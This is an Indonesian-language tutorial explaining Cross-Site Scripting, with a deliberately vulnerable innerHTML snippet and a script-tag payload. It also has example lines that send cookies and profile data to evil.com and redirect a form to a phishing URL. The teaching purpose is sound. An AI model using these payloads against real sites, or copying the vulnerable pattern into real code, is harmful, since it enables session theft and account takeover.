Apa itu Cross-Site Scripting (XSS)?
XSS adalah serangan di mana penyerang menyisipkan JavaScript berbahaya ke halaman web yang dilihat oleh pengguna lain. Kode JavaScript tersebut dijalankan di browser korban dengan hak akses yang sama seperti website asli.
Contoh Sederhana XSS
// Halaman menampilkan nama dari URL parameter
// URL: https://example.com/greet?name=Budi
const name = new URLSearchParams(location.search).get("name");
document.getElementById("greeting").innerHTML = "Halo, " + name;
// Serangan:
// URL: https://example.com/greet?name=<script>alert(document.cookie)</script>
// Browser menjalankan script dan menampilkan cookie!
Apa yang Bisa Dilakukan Penyerang dengan XSS?
- Mencuri cookie dan session — Mengambil alih akun pengguna
- Keylogging — Merekam semua ketikan pengguna
- Phishing — Menampilkan form login palsu di website asli
- Defacing — Mengubah tampilan halaman web
- Redirect — Mengarahkan pengguna ke website berbahaya
- Cryptomining — Menggunakan browser korban untuk mining cryptocurrency
Kenapa XSS Berbahaya?
Script yang diinjeksi berjalan di same origin dengan website target. Ini berarti script tersebut bisa:
// Mencuri cookie
new Image().src = "https://evil.com/steal?cookie=" + document.cookie;
// Membaca halaman sensitif
fetch("/api/profile").then(r => r.json()).then(data => {
fetch("https://evil.com/steal", { method: "POST", body: JSON.stringify(data) });
});
// Mengubah isi halaman
document.querySelector("form").action = "https://evil.com/phishing";
Input yang Rentan XSS
Semua tempat di mana input pengguna ditampilkan kembali tanpa sanitasi:
- Form komentar dan forum
- Profil pengguna (nama, bio)
- URL parameter yang ditampilkan di halaman
- Pesan chat dan email
- Search results yang menampilkan query
XSS Masih Relevan
Meskipun browser modern sudah punya beberapa perlindungan, XSS tetap menjadi salah satu vulnerability paling umum. OWASP menempatkannya sebagai salah satu risiko tertinggi dalam keamanan web.